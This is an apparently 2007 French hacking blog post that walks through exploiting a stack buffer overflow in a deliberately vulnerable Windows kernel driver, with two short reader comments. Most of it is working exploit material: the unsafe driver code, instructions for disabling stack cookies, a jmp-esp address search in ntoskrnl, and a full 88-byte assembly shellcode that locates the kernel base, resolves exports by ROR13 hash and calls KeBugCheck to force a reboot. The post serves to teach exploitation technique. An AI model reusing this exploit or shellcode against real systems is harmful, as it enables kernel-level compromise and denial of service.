Kernel BOF

mars 10th, 2007 at 10:17 admin

Il y a des matins on se lève, enfumé comme un renard, et pendant que l’on mange son bol de chocapics une réflexion apparaît, des pensées métaphysiques défilent dans notre tête, on se demande : « Pourquoi le monde ? Pourquoi les chocapics ? ». C’est pendant cette phase de cogitation intense que m’est venue l’idée de jouer avec des buffer overflows dans mon kernel, allez savoir, il y peut-être dans les chocapics une composante hallucinogène d’un champignon inconnu. Quoiqu’il en soit mon esprit torturé réfléchissait pendant les cours théoriques de confectionnent de crêpes au nutella (chose plus difficile qu’il n’y paraisse) aux différents problèmes que je pouvais rencontrer dans l’exploration d’une chose aussi magnifique que dangereuse. Après mass overclockage neuronal, défoncé au nutella, j’écris ce post, est-ce moi qui l’écrit vraiment ? Ou bien une entité diabolique a-t-elle possédé mon corps, à vous de juger.


Sachez dès le départ que l’exploitation d’un buffer overflow en KernelLand reste un simple détournement du flux d’exécution en contrôlant le pointeur d’instruction du programme. La vraie différence c’est qu’après avoir traversé le stargate il nous faut retrouver nos repères, c’est à dire avoir un payload adapté à l’environnement du noyau. Je vais diviser mon post en 2 parties, la première concernera la manière d’exploiter le débordement de tampon (triviale ici) et la seconde plus intéressante je pense, sur la conception du payload.

——–[bind s « +back;
Voici le code du driver unsafe qui va nous servir de cobaye pour l’expérience :

//IRQL = PASSIVE_LEVEL
ULONG Mofo(PUCHAR Str)
{
UCHAR Buff[96];
DbgPrint("&Buff : 0x%xn", &Buff);
//strcpy from ntoskrnl exports
strcpy(Buff, Str);

return 0;
}

//IRQL = PASSIVE_LEVEL
NTSTATUS DriverUnload(IN PDRIVER_OBJECT DriverObject)
{
DbgPrint("Bye dude");
return STATUS_SUCCESS;
}

//IRQL = PASSIVE_LEVEL
NTSTATUS DriverEntry(PDRIVER_OBJECT pDriverObject, PUNICODE_STRING pRegistryPath)
{
char Over[128];

pDriverObject->DriverUnload=DriverUnload;
DbgPrint("Hello Master");

memset(Over, 'a', sizeof(Over)-1);

Mofo(Over);

return STATUS_SUCCESS;
}

Le strcpy() de la fonction Mofo() copie sans vérifier la longueur de Str son contenu dans le tambon Buff. Si on donne une string de plus de 96 bytes le strcpy va overwriter le savedEBP et le savedEIP dans la pile, rien de plus classique. Normalement le compilo du DDK ajoute une sécurité, un cookie dans la pile entre le buffer et le savedEBP, le code vérifie après si le cookie à été altéré et nous envoie un beau BSOD dans la face avec le code 0xF7, qui correspond à :

from bugcodes.h
//
// MessageId: DRIVER_OVERRAN_STACK_BUFFER
//
// MessageText:
//
//  A driver has overrun a stack-based buffer.  This overrun could potentially allow a malicious
//  user to gain control of this machine.
//
#define DRIVER_OVERRAN_STACK_BUFFER      ((ULONG)0x000000F7L)

Pour pas m’embêter avec ce cookie, j’ai désactiver cette sécurité en mettant les variables BUFFER_OVERFLOW_CHECKS et NEW_CRTS du setenv.bat à 0, vous trouverez ce fichier dans le dossier \Bin de votre WINDDK.

Maintenant qu’on a le champ libre on peut enfin s’amuser. Comme nous sommes dans le kernel nous ne pouvons être sur de l’adresse de notre tampon Buff dans stack, c’est pourquoi nous ne pouvons modifier le savedEIP avec une valeur hardcodé sur le début de notre shellcode. J’ai choisi d’utiliser l’environnement afin d’obtenir ce qu’il me fallait pour réussir l’attaque. Juste avant l’instruction ‘ret’ la stack ressemble à cela :
[Buff 96 bytes]
[savedEBP]
[savedEIP] <- pointeur ESP
[argument Str]

Sachant que le ret est équivalent à un POP EIP et que donc l’ESP est incrémenté de 4, si nous remplaçons le savedEIP par l’adresse d’un jmp esp, notre flux d’exécution sera redirigé dans la stack sur les arguments pushés auparavant. Il suffit donc d’overwriter ces arguments et de mettre à la place un backjump vers notre shellcode qui est plus haut. Pour schématiser cela donne :
[NOP]
[SHELLCODE]
[addr d'un jmp esp]
[backjump dans les NOPs] <- lors du ret, esp pointe içi

Il me faut donc l’adresse d’un jmp esp dans le noyau, disponible de préférence dans le module principal ntoskrnl parce celui-ci est loadé à une adresse constante. Pour cela j’ai utilisé l’outil findjump2 de Hat-Squad qui load dans sa mémoire le module que l’on veut analyser et le scan pour retrouver les opcodes.

C:\RE>findjump.exe ntoskrnl.exe esp

Findjmp, Eeye, I2S-LaB
Findjmp2, Hat-Squad
Scanning ntoskrnl.exe for code useable with the esp register
0x5345EB        call esp
0x53BD7F        jmp esp
0x53C2BB        call esp
0x53EE63        call esp
0x543FE3        call esp
0x544457        jmp esp
0x54A5F7        call esp
0x54C37E        call esp
0x561F93        call esp
0x562023        call esp
0x562133        call esp
0x56214B        call esp
0x56260B        call esp
0x5633AB        call esp
0x56F1B1        jmp esp
0x5E8278        call esp
0x67A46B        push esp - ret
0x6973AD        jmp esp
0x6DCAC2        jmp esp
Finished Scanning ntoskrnl.exe for code useable with the esp register
Found 19 usable addresses

W00T on a la chance. Pour être plus précis ce jmp esp se situe dans la fonction ExTraceAllTables, mais ça on s’en fou, il est là et c’est le principal :]

lkd> u 0x804D7000+34457
nt!ExTraceAllTables+0x222:
8050b457 ffe4            jmp     esp

Clairement il eut été plus simple de mettre le shellcode au même endroit que le backjump et de sauter dessus avec un jmp et quand j’y pense les NOP ils ne servent à rien en fait :) foutu chocapics hallucinogènes…

——–[ KaBoom Machine !

Le shellcode se décompose en 2 parties, en premier on doit obtenir l’ImageBase de ntoskrnl.exe en mémoire et scanner l’export table afin d’y retrouver les fonctions dont notre shellcode aura besoin, ensuite lancer notre attaque pour conquérir le monde !

Vous vous dîtes sûrement qu’il serait plus simple d’hardcodé les adresses des fonctions dans le shellcode, certes cela est possible mais le problème c’est que votre shellcode sera dépendant de la plate-forme sur laquelle il sera exécuté, le noyau et ses fonctions n’étant pas loadés aux même endroits selon les différentes versions de Windows ; Petit tableau pour vous en convaincre :}
Version ImageBase du noyau
Windows 2000 SP4 0×80400000
Windows XP SP0 0x804d0000
Windows XP SP2 0x804d7000
Windows 2003 SP1 0×80800000

Notre shellcode devra donc être « générique » c’est à dire capable de se retrouver dans n’importe quel environnement.

Dans le volume 3 de uninformed Bugcheck et Skape présentaient différentes méthodes pour retrouver l’ImageBase de ntoskrnl, le gros défauts c’est quelles fonctionnent en scannant la mémoire utilisant ainsi 17 octects de shellcode au minimum pour retrouver l’adresse de base de ntoskrnl, perso je trouve que ça sux un peu des gnu. Il existe une méthode beaucoup plus rapide et plus simple pour faire cela. Dans le KernelLand, au début du segment fs se trouve une structure appelée KPCR (Kernel Processor Control Region), dans cette structure on trouve (un petit chat lol?) un pointeur nommé KdVersionBlock :

lkd> dt nt!_KPCR
+0x000 NtTib            : _NT_TIB
+0x01c SelfPcr          : Ptr32 _KPCR
+0x020 Prcb             : Ptr32 _KPRCB
+0x024 Irql             : UChar
+0x028 IRR              : Uint4B
+0x02c IrrActive        : Uint4B
+0x030 IDR              : Uint4B
+0x034 KdVersionBlock   : Ptr32 Void
[...]

Les symboles fournis par MS ne donnent quel est le type du pointeur, en fait il s’agit d’un pointeur sur une structure _DBGKD_GET_VERSION64 ; ne venez pas me demander ou j’ai trouvé ça sinon je devrais vous tuer :p

lkd> dt nt!_DBGKD_GET_VERSION64
+0x000 MajorVersion     : Uint2B
+0x002 MinorVersion     : Uint2B
+0x004 ProtocolVersion  : Uint2B
+0x006 Flags            : Uint2B
+0x008 MachineType      : Uint2B
+0x00a MaxPacketType    : UChar
+0x00b MaxStateChange   : UChar
+0x00c MaxManipulate    : UChar
+0x00d Simulation       : UChar
+0x00e Unused           : [1] Uint2B
+0x010 KernBase         : Uint8B
+0x018 PsLoadedModuleList : Uint8B
+0x020 DebuggerDataList : Uint8B

Et dans cette structure (admirez l’effet de suspense poupée russe) on à le champ KernBase qui contient l’ImageBase de notre kernel, ce qui nous permet d’aboutir ou bout de shellcode suivant :

6A34     push 0x34
5B        pop ebx //ebx=34
648B1B    mov ebx, dword ptr fs:[ebx] //KPCR + 0x034 -> KdVersionBlock  (ptr to an _DBGKD_GET_VERSION64 structure)
8B6B10    mov ebp, dword ptr [ebx+0x10] //KdVersionBlock + 0x10 -> KernBase;

Hé ouais 9 bytes, on fait mieux que les gars de uninformed, nanananère ! :]
L’équivalent en userland consiste à retrouver l’ImageBase de kernel32 réaliser à l’aide du shellcode suivant :

push 0x30
pop ebx
mov eax, fs:[ebx]    //Sur le PEB, fs pointe sur TEB
mov ebx, [eax+0x0C]    //PEB->LoaderData
mov eax, dword ptr [ebx+0x1C] //LoaderData->InitializationOrderModule.Flink
mov ebx, dword ptr [eax]    //Next Flink
mov ebp, dword ptr [ebx+0x8]    //ImageBase Kernel32

Maintenant qu’on à notre ImageBase il suffit de retrouver dans le PE Header l’export table et de la scanner pour y récupérer notre matos. L’export table est conçu de cette façon :

typedef struct _IMAGE_EXPORT_DIRECTORY {
DWORD   Characteristics;
DWORD   TimeDateStamp;
WORD    MajorVersion;
WORD    MinorVersion;
DWORD   Name;
DWORD   Base;
DWORD   NumberOfFunctions;
DWORD   NumberOfNames;
DWORD   AddressOfFunctions;     // RVA from base of image
DWORD   AddressOfNames;         // RVA from base of image
DWORD   AddressOfNameOrdinals;  // RVA from base of image
} IMAGE_EXPORT_DIRECTORY, *PIMAGE_EXPORT_DIRECTORY;

On va devoir émuler le fonctionnement de la fonction GetProcAddress, je m’explique :

Le champ AddressOfNames contient une RVA (Relative Virtual Address) sur un tableau de RVA pointant sur les noms de fonctions.

La fonction dont le nom se situe à l’indice i dans le tableau des noms à son adresse (sous la forme d’une RVA) dans le champ AddressOfFunctions à l’indice AddressOfNameOrdinals[i]. WTF !?. En fait cette technique permet d’avoir des fonctions « alias » : si par exemple on a 2 fonctions aux noms différents, mais faisant la même chose donc ayant un seul code, situées à l’indice i et j dans le tableau AddressOfNames, on aura dans le tableau AddressOfNameOrdinals aux indices i et j la même valeur k qui est l’indice dans le tableau AddressOfFunctions d’une RVA sur le code.

Reste encore un détail à régler, il nous faut un moment comparer 2 chaînes de caractères : celle de la fonction qu’on cherche et celle de la fonction scannée. Avoir dans un shellcode une ou de string(s) ça sux à fond ffs. D’où l’idée du groupe LSD (Last Stage Delirium), des grands défoncés aux champignons aussi, d’associer à chaque fonction un hash, après il suffit de comparer les hash entre eux, ce qui nous fait gagner pas mal de bytes. L’algorithme de hash est le suivant, très simple (mais efficace) afin d’utiliser le moins d’instructions possibles ; Un simple couple ror/sum.

#include 

#define ROR32(x,b) (((x) >> (b)) | ((x) << (32 - (b))))

int main (int argc, char * argv[])
{
unsigned int i, hash=0;

if(argc !=2)
return 0;

for(i=0; *(argv[1]+i)!=0; i++)
{
hash=ROR32(hash, 0xD);
hash+=*(argv[1]+i);
}

printf("Hash de %s: 0x%xn", argv[1], hash);
}

Enfin, après avoir récupéré les adresses des fonctions de ntoskrnl, il ne reste plus qu’a lancé notre diabolique attaque. Pour tripper j’ai décidé d’utilisé d’appeler la fonction KeBugCheck, celle-ci même qui est appelé lors d’un BSOD, avec comme argument une valeur, celle de POWER_FAILURE_SIMULATE qui comme la dit Alex Ionescu sur son blog reboot le système sans passer par la case BSOD : « No BSOD, no crash dump, just a clean, simple, immediate reboot. » :]

Au final on obtient donc le shellcode de 88 bytes suivant :

__asm{
pushad
push ebp
push 34h
pop ebx //ebx=34
mov ebx, dword ptr fs:[ebx] //KPCR + 0x034 -> KdVersionBlock  (ptr to an _DBGKD_GET_VERSION64 structure)
mov ebp, dword ptr [ebx+0x10] //KdVersionBlock + 0x10 -> KernBase;

//ebp= ImageBase
//edx= IMAGE_EXPORT_DIRECTORY
//ecx= compteur de NumberOfNames
//esi= ptr sur les Noms
//eax et edi calcul du hash
//ebx= AddressOfNames

mov eax, dword ptr [ebp+0x3c] //'MZ'+ 0x3c = e_lfanew (offset 'PE', 0x4550)
mov edx, dword ptr [ebp+eax+0x78] //PE'+0x78 = début IMAGE_DIRECTORY_ENTRY_EXPORT * 'PE'+0x78 = VirtualAddress

add edx, ebp //RVA -> VA EDX contient la l'addr de la struct IMAGE_EXPORT_DIRECTORY

mov ebx, dword ptr [edx+0x20] //IMAGE_EXPORT_DIRECTORY + 0x20 -> rva AddressOfNames
add ebx, ebp // RVA -> VA

mov ecx, dword ptr [edx+0x18] //IMAGE_EXPORT_DIRECTORY + 0x18 -> rva NumberOfNames

find_function:

dec ecx // on scan de NumberOfNames-1 à 0

mov esi, dword ptr [ebx+ecx*4] //esi RVA Addr Name
add esi, ebp //VA name

xor edi, edi //edi=0
xor eax, eax //eax=0

cld //CLD - Clear Direction Flag, lodsb va de la gauche vers droite de la string
hash:
lodsb // LODSB Load byte at address DS:(E)SI into AL
test al, al //fin du Name ?
jz endhash

ror edi, 0x0d
add edi, eax
jmp hash

endhash:

cmp edi, 0xb9f2aa1f //ApiHash KEBugCheck
jne find_function

mov eax, dword ptr [edx+0x24] //IMAGE_EXPORT_DIRECTORY + 0x24 -> rva AdressOfNameOrdinals
add eax, ebp //VA AddressOfNameOrdinals
mov cx, word ptr [eax+ecx*2] //Ordinal de la fonction
mov eax, dword ptr [edx+0x1c] //IMAGE_EXPORT_DIRECTORY + 0x1c -> rva AddressOfFunctions
add eax, ebp //VA AddressOfFunctions
mov eax, dword ptr [eax+ecx*4] //rva Fonction
add eax, ebp //rva -> VA

xor ebx, ebx //EBX=0
mov bl, 0xE5 //POWER_FAILURE_SIMULATE
push ebx
call eax //Call sur KEBugCheck

//on arrive jms là car on a kaboom la box :}
pop ebp
popad
}

Ce paper avait pour but de montrer que même si le nom fait peur, un overflow dans le kernel reste un overflow, j’espère que cela vous a plus et que vous avez eu en le lisant autant de plaisir que moi j’ai eu à l’écrire :]

Vous trouvez les codes içi :
http://ivanlef0u.fr/repo/KBOF.rar

Ivanlef0u

Références :
findjump2 :
http://governmentsecurity.org/archive/t13781.html

Windows Kernel-mode Payload Fundamentals :
http://www.uninformed.org/?v=3&a=4&t=sumry

Win32 Assembly Components (sur mon repo) :
http://ivanlef0u.fr/repo/windoz/shellcoding/winasm-1.0.1.pdf

Rebooting from Kernel Mode :
http://www.alex-ionescu.com/?p=29

Entry Filed under: Non classé

2 Comments

  • 1. newsoft  |  mars 11th, 2007 at 12:08

    In real life :

    « Windows Kernel Device Driver Exploit »
    http://xcon.xfocus.org/xcon2004/index.html
    Avec PoC complet vs. Firewall Symantec


  • 2. avijeet  |  octobre 19th, 2012 at 20:33

    not able to download KBOF from the link asking for user name and password


Trackback this post


Calendar

octobre 2021
L Ma Me J V S D
« fév    
 123
45678910
11121314151617
18192021222324
25262728293031

Most Recent Posts